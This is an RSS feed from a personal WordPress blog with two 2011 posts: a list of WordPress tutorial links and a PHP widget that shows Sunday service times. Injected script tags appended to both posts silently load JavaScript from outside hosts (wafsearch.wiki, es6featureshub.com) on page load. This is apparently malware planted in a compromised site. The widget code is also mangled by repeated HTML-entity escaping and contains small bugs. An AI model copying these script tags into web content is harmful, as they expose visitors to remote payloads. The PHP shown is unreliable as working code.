<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>heinriches.com &#187; WordPress</title>
	<atom:link href="http://www.heinriches.com/category/wordpress/feed" rel="self" type="application/rss+xml" />
	<link>http://www.heinriches.com</link>
	<description>working=IsWifeAround();</description>
	<lastBuildDate>Wed, 12 Nov 2025 13:43:37 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=3.8.41</generator>
	<item>
		<title>Links</title>
		<link>http://www.heinriches.com/links</link>
		<comments>http://www.heinriches.com/links#comments</comments>
		<pubDate>Thu, 24 Nov 2011 18:55:05 +0000</pubDate>
		<dc:creator><![CDATA[Matt]]></dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.heinriches.com/?p=91</guid>
		<description><![CDATA[So as I am at our families for thanksgiving (they are watching football and I am researching wordpress this stuff, lol I am such a geek). I found these great links and thought I would share them. Custom post types in WordPress Including Page Templates from a WordPress Plugin WordPress Custom Post Type Code Generator [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>So as I am at our families for thanksgiving (they are watching football and I am researching wordpress this stuff, lol I am such a geek). I found these great links and thought I would share them.</p>
<ul>
<li><a href="http://justintadlock.com/archives/2010/04/29/custom-post-types-in-wordpress">Custom post types in WordPress</a></li>
<li><a href="http://www.unfocus.com/2010/08/10/including-page-templates-from-a-wordpress-plugin/">Including Page Templates from a WordPress Plugin</a></li>
<li><a href="http://themergency.com/generators/wordpress-custom-post-types/">WordPress Custom Post Type Code Generator</a></li>
</ul>
<div>I have found them very interesting and will be using some of these methods in my post.</div>
<p><script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script><script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.heinriches.com/links/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sunday Service Widget</title>
		<link>http://www.heinriches.com/sunday-service-widget</link>
		<comments>http://www.heinriches.com/sunday-service-widget#comments</comments>
		<pubDate>Tue, 22 Nov 2011 18:54:49 +0000</pubDate>
		<dc:creator><![CDATA[Matt]]></dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.heinriches.com/?p=65</guid>
		<description><![CDATA[Here is my widget to display the proper sunday service time based on the week of the month. WordPress is becoming my favorite CMS. To display the widget I extend the widget function. Of course you need to have enter the information. Here is the file to download and install:Sunday Widget]]></description>
				<content:encoded><![CDATA[<p>Here is my widget to display the proper sunday service time based on the week of the month. WordPress is becoming my favorite CMS.</p>
<p>To display the widget I extend the widget function.</p>
<pre class="brush: php; title: ; notranslate">
  function widget($args, $instance){
	extract( $args );
    	$title = apply_filters( 'widget_title', $instance['title'] );	
    	$nextSunday = strtotime(&amp;amp;amp;quot;next sunday&amp;amp;amp;quot;);
	$wn = ceil( date( 'j', $nextSunday) / 7 );
	$ldom = mktime(0, 0, 0, (date('m') + 1), 0, date('Y'));
		
	$diff = round(abs($nextSunday-$ldom)/86400);
	$text = &amp;amp;amp;quot;&amp;amp;amp;quot;;
				
	switch ($wn) {
    	  case 1:
            $text= $instance['Sunday1'];
            break;
    	  case 2:
            $text= $instance['Sunday2'];
            break;
    	  case 3:
             $text= $instance['Sunday3'];
             break;
          case 4:
             if (diff&amp;amp;amp;gt;=7){
        	$text= $instance['Sunday4'];
             }else {
        	$text= $instance['Sunday5'];
             }
           break;
           case 5:
        	$text= $instance['Sunday5'];
        	break;
	}?&amp;amp;amp;gt;
		
		&amp;amp;amp;lt;?php echo $before_widget; ?&amp;amp;amp;gt;
		
		&amp;amp;amp;lt;div class=&amp;amp;amp;quot;clsPageContent&amp;amp;amp;quot;&amp;amp;amp;gt;
		
		
		&amp;amp;amp;lt;?php if ($title) { echo $before_title 
                                           . &amp;amp;amp;quot;&amp;amp;amp;lt;h3&amp;amp;amp;gt;&amp;amp;amp;quot; 
                                           . $title 
                                           . &amp;amp;amp;quot;&amp;amp;amp;quot; 
                                           . $after_title; } ?&amp;amp;amp;gt;
		
		&amp;amp;amp;lt;ul&amp;amp;amp;gt;
			&amp;amp;amp;lt;li&amp;amp;amp;gt;Sunday:&amp;amp;amp;lt;/li&amp;amp;amp;gt;
			&amp;amp;amp;lt;li&amp;amp;amp;gt;&amp;amp;amp;lt; ?php echo $text ?&amp;amp;amp;gt; &amp;amp;amp;lt;/li&amp;amp;amp;gt;
			&amp;amp;amp;lt;li&amp;amp;amp;gt;&amp;amp;amp;amp;nbsp;&amp;amp;amp;lt;/li&amp;amp;amp;gt;
			&amp;amp;amp;lt;li&amp;amp;amp;gt;&amp;amp;amp;lt; ?php echo  $instance['MidWeekName'] ?&amp;amp;amp;gt; :&amp;amp;amp;lt;/li&amp;amp;amp;gt;
			&amp;amp;amp;lt;li&amp;amp;amp;gt;&amp;amp;amp;lt; ?php echo  $instance['MidWeekTime'] ?&amp;amp;amp;gt; &amp;amp;amp;lt;/li&amp;amp;amp;gt;
		&amp;amp;amp;lt;/ul&amp;amp;amp;gt;&amp;amp;amp;lt;ul&amp;amp;amp;gt;
		
		&amp;amp;amp;lt;p&amp;amp;amp;gt;
			&amp;amp;amp;lt; ?php echo  $instance['ExtraMessage'] ?&amp;amp;amp;gt;
		&amp;amp;amp;lt;/p&amp;amp;amp;gt;
		&amp;amp;amp;lt;/ul&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;
		
		&amp;amp;amp;lt; ?php echo $after_widget; ?&amp;amp;amp;gt;
		
    	&amp;amp;amp;lt; ?php
	
	}

</pre>
<p>Of course you need to have enter the information.</p>
<pre class="brush: php; title: ; wrap-lines: true; notranslate">
function form($instance){
      $defaults = array( 'title' =&amp;amp;amp;gt; 'Example', 
                         'name' =&amp;amp;amp;gt; 'John Doe', 
			'Sunday1' =&amp;amp;amp;gt; '10 AM and 5 PM',
			'Sunday2' =&amp;amp;amp;gt; '2 PM and No Evening Service',
			'Sunday3' =&amp;amp;amp;gt; '10 AM and 5 PM',
			'Sunday4' =&amp;amp;amp;gt; '10 AM and 5 PM',
			'Sunday5' =&amp;amp;amp;gt; '10 AM and No Evening Service',
			'MidWeekName' =&amp;amp;amp;gt; 'Monday',
			'MidWeekTime' =&amp;amp;amp;gt; '7 PM',
			'ExtraMessage' =&amp;amp;amp;gt; ''
			);
								
       $instance = wp_parse_args( (array) $instance, $defaults ); ?&amp;amp;amp;gt;
			
	&amp;amp;amp;lt;label for=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'title' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot;&amp;amp;amp;gt; Title:&amp;amp;amp;lt;/label&amp;amp;amp;gt;
	&amp;amp;amp;lt;input id=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'title' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; name=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_name( 'title' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; value=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $instance['title']; ?&amp;amp;amp;gt;&amp;amp;amp;quot; style=&amp;amp;amp;quot;width:100%;&amp;amp;amp;quot; /&amp;amp;amp;gt;
		&amp;amp;amp;lt;br/&amp;amp;amp;gt;
		&amp;amp;amp;lt;br/&amp;amp;amp;gt;
					
	&amp;amp;amp;lt;label for=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'Sunday1' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot;&amp;amp;amp;gt; First Sunday:&amp;amp;amp;lt;/label&amp;amp;amp;gt;
	&amp;amp;amp;lt;input id=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'Sunday1' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; name=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_name( 'Sunday1' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; value=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $instance['Sunday1']; ?&amp;amp;amp;gt;&amp;amp;amp;quot; style=&amp;amp;amp;quot;width:100%;&amp;amp;amp;quot; /&amp;amp;amp;gt;
		&amp;amp;amp;lt;br/&amp;amp;amp;gt;
					
					&amp;amp;amp;lt;label for=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'Sunday2' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot;&amp;amp;amp;gt; Second Sunday:&amp;amp;amp;lt;/label&amp;amp;amp;gt;
					&amp;amp;amp;lt;input id=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'Sunday2' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; name=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_name( 'Sunday2' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; value=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $instance['Sunday2']; ?&amp;amp;amp;gt;&amp;amp;amp;quot; style=&amp;amp;amp;quot;width:100%;&amp;amp;amp;quot; /&amp;amp;amp;gt;
					&amp;amp;amp;lt;br/&amp;amp;amp;gt;
					
					&amp;amp;amp;lt;label for=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'Sunday3' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot;&amp;amp;amp;gt; Third Sunday:&amp;amp;amp;lt;/label&amp;amp;amp;gt;
					&amp;amp;amp;lt;input id=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'Sunday3' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; name=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_name( 'Sunday3' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; value=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $instance['Sunday3']; ?&amp;amp;amp;gt;&amp;amp;amp;quot; style=&amp;amp;amp;quot;width:100%;&amp;amp;amp;quot; /&amp;amp;amp;gt;
					&amp;amp;amp;lt;br/&amp;amp;amp;gt;
					
					&amp;amp;amp;lt;label for=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'Sunday4' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot;&amp;amp;amp;gt; Fourth Sunday:&amp;amp;amp;lt;/label&amp;amp;amp;gt;
					&amp;amp;amp;lt;input id=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'Sunday4' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; name=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_name( 'Sunday4' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; value=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $instance['Sunday4']; ?&amp;amp;amp;gt;&amp;amp;amp;quot; style=&amp;amp;amp;quot;width:100%;&amp;amp;amp;quot; /&amp;amp;amp;gt;
					&amp;amp;amp;lt;br/&amp;amp;amp;gt;
					
					&amp;amp;amp;lt;label for=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'Sunday5' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot;&amp;amp;amp;gt; Fifth Sunday:&amp;amp;amp;lt;/label&amp;amp;amp;gt;
					&amp;amp;amp;lt;input id=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'Sunday5' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; name=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_name( 'Sunday5' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; value=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $instance['Sunday5']; ?&amp;amp;amp;gt;&amp;amp;amp;quot; style=&amp;amp;amp;quot;width:100%;&amp;amp;amp;quot; /&amp;amp;amp;gt;
					&amp;amp;amp;lt;br/&amp;amp;amp;gt;
					&amp;amp;amp;lt;br/&amp;amp;amp;gt;
					
					&amp;amp;amp;lt;label for=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'MidWeekName' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot;&amp;amp;amp;gt; Mid Week Service:&amp;amp;amp;lt;/label&amp;amp;amp;gt;
					&amp;amp;amp;lt;input id=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'MidWeekName' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; name=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_name( 'MidWeekName' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; value=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $instance['MidWeekName']; ?&amp;amp;amp;gt;&amp;amp;amp;quot; style=&amp;amp;amp;quot;width:100%;&amp;amp;amp;quot; /&amp;amp;amp;gt;
					&amp;amp;amp;lt;br/&amp;amp;amp;gt;
					
					&amp;amp;amp;lt;label for=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'MidWeekTime' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot;&amp;amp;amp;gt; Mid Week Time:&amp;amp;amp;lt;/label&amp;amp;amp;gt;
					&amp;amp;amp;lt;input id=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'MidWeekTime' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; name=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_name( 'MidWeekTime' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; value=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $instance['MidWeekTime']; ?&amp;amp;amp;gt;&amp;amp;amp;quot; style=&amp;amp;amp;quot;width:100%;&amp;amp;amp;quot; /&amp;amp;amp;gt;
					&amp;amp;amp;lt;br/&amp;amp;amp;gt;
					&amp;amp;amp;lt;br/&amp;amp;amp;gt;
					
					&amp;amp;amp;lt;label for=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'ExtraMessage' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot;&amp;amp;amp;gt; Extra Message:&amp;amp;amp;lt;/label&amp;amp;amp;gt;
					&amp;amp;amp;lt;input id=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'ExtraMessage' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; name=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_name( 'ExtraMessage' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; value=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $instance['ExtraMessage']; ?&amp;amp;amp;gt;&amp;amp;amp;quot; style=&amp;amp;amp;quot;width:100%;&amp;amp;amp;quot; /&amp;amp;amp;gt;
					&amp;amp;amp;lt;br/&amp;amp;amp;gt;
			&amp;amp;amp;lt;?php
	}
</pre>
<p>Here is the file to download and install:<a title="Sunday Widget" href="http://www.heinriches.com/assets/widgetSunday.php_.zip">Sunday Widget</a><script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script><script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.heinriches.com/sunday-service-widget/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
